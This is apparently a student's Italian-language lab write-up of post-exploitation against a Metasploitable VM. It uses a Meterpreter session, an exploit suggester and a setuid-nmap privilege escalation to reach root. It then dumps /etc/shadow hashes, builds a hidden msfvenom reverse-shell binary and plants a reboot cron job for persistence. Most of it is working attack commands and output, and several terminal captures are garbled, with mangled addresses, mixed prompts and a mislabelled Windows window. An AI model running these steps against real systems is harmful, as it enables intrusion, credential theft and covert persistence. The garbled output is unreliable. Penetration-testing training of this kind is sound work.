

A questo punto, mandando il comando exploit si è aperta la sessione con meterpreter:

Dopo aver ottenuto una sessione iniziale sulla macchina vittima, ho utilizzato il modulo **post/multi/recon/local_exploit_suggester** per analizzare le possibili vulnerabilità locali sfruttabili per un'escalation di privilegi.

Le vulnerabilità individuate sono state:

- `exploit/linux/local/glibc ld audit dso load priv esc → vulnerable`

- exploit/linux/local/glibc_origin_expansion_priv_esc → vulnerabile
- exploit/linux/local/netfilter_priv_esc_ipv4 → vulnerabile
- exploit/linux/local/ptrace_sudo_token_priv_esc → servizio attivo, non validato
- exploit/linux/local/su_login → vulnerabile
- exploit/unix/local/setuid_nmap → vulnerabile (binario /usr/bin/nmap con setuid)

Tra le vulnerabilità individuate ho scelto di testare l'exploit

exploit/unix/local/setuid_nmap, che in questo contesto ha mostrato maggiore affidabilità.

```

>] Unknown command: y. Run the help command for more details.
msf6 exploit(unix/local/setuid_nmap) > back
msf6 > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux postgres @ metasploitable.localdomain	192.168.50.2:4444 → 192.168.50.3:39240 (192.168.50.3)
2		meterpreter	x86/linux root @ metasploitable.localdomain	192.168.50.2:4444 → 192.168.50.3:37206 (192.168.50.3)

```

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.50.2
LHOST => 192.168.50.2
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.2:5555

```

Ho selezionato il payload compatibile **cmd/unix/reverse_python** e, una volta eseguito l'exploit, sono riuscito ad ottenere l'escalation di privilegi.

Output di verifica:

```

meterpreter > getuid 192.168.50.3: icmp_seq=4 ttl=64 time=2.07 ms
Server username: root
meterpreter > shell 192.168.50.3
Process 4981 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::

```

Sono quindi riuscito ad ottenere privilegi di root sulla macchina vittima.

Dopo aver acquisito i privilegi di root, ho deciso di garantirmi un accesso persistente. Ho generato un payload tramite msfvenom con il seguente comando:

```

File Actions Edit View Help
(kali@kali)-[~]
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.2 LPORT=5555 -f elf -o /tmp/.svc

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: /tmp/.svc

```

Ho quindi caricato il file .svc sulla macchina vittima, l'ho reso eseguibile e ho configurato un cronjob per eseguirlo automaticamente ad ogni riavvio:

```

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter >
meterpreter >
meterpreter > reboot
[-] The "reboot" command is not supported by this Meterpreter type (x86/linux)
meterpreter > [*] 192.168.50.3 - Meterpreter session 2 closed. Reason: Died

```

5. Dimostrazione di accesso successivo

Per verificare la persistenza, ho predisposto un handler in Metasploit:

The image shows two windows side-by-side. The left window is a Kali Linux terminal with the following content:

```

kali@kali:~$ echo "breboot root /usr/local/bin/svc 6" >> /etc/crontab
cat
meterpreter >
background session 27 [y/N] y
* Unknown command: y. Run the help command for more details.
msf5 exploit(multi/linux/reverse_tcp) > back
msf5 > sessions

Active sessions

id  Name  Type  Information  Connection
--  -
1   meterpreter x86/linux postgres@metasploitable.localdomain 192.168.50.214444 -> 192.168.50.3139240 (192.168.50.3)
2   meterpreter x86/linux root@metasploitable.localdomain 192.168.50.214444 -> 192.168.50.3137286 (192.168.50.3)

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/linux) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/linux) > set LHOST 192.168.50.2
LHOST => 192.168.50.2
msf5 exploit(multi/linux) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.215555
id
[*]

reboot
[*] 192.168.50.3 - Meterpreter session 1 closed. Reason: Died
[*] Sending stage (101704 bytes) to 192.168.50.3
[*] Meterpreter session 3 opened (192.168.50.215555 -> 192.168.50.3141436) at 2025-08-28 08:58:53 -0400

meterpreter > id
[*] Unknown command: id. Run the help command for more details.
meterpreter >
meterpreter >
meterpreter > reboot
[*] The "reboot" command is not supported by this Meterpreter type (x86/linux)
meterpreter > [*] 192.168.50.3 - Meterpreter session 2 closed. Reason: Died

meterpreter > reboot
[*] The "reboot" command is not supported by this Meterpreter type (x86/linux)
meterpreter >
[*] 192.168.50.3 - Meterpreter session 3 closed. Reason: Died

```

The right window is a Windows VirtualBox window titled "Metasploit2 [in esecuzione] - Oracle VM VirtualBox". It shows the output of a Metasploit Meterpreter session on a Windows system:

```

File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

* (check in 4 mounts)

* Checking file systems... [ OK ]
Fack 1.40.8 (13-Mar-2008)
/dev/sda1: enclosing journal
/dev/sda1: clean, 32963/240940 blocks

* Mounting local filesystems... [ OK ]
* Activating swapfile swap... [ OK ]
Mounting securityfs on /sys/kernel/security: done.
Loading apparmor profiles: done.
* Checking minimum space in /tmp... [ OK ]
* Skipping firewall: nft (not enabled)... [ OK ]
* Configuring network interfaces... [ OK ]
* Starting portmap daemon... [ OK ]
* Starting NFS common utilities [ OK ]
* Setting up console font and klogd... [ OK ]
* Starting system log daemon... [ OK ]
* Doing fsck on setup... [ OK ]
* Starting kernel log daemon... [ OK ]
* Starting domain name service... bind [ OK ]
* Starting OpenSSH Secure Shell server sshd [ OK ]
* Starting portmap daemon... [ OK ]
* Already running. [ OK ]
* Starting MySQL database server mysqld

```

Con questa attività sono riuscita a portare a termine tutte le fasi di un tipico scenario di post-exploitation:

- Tutti gli obiettivi dell'esercitazione sono stati raggiunti con successo.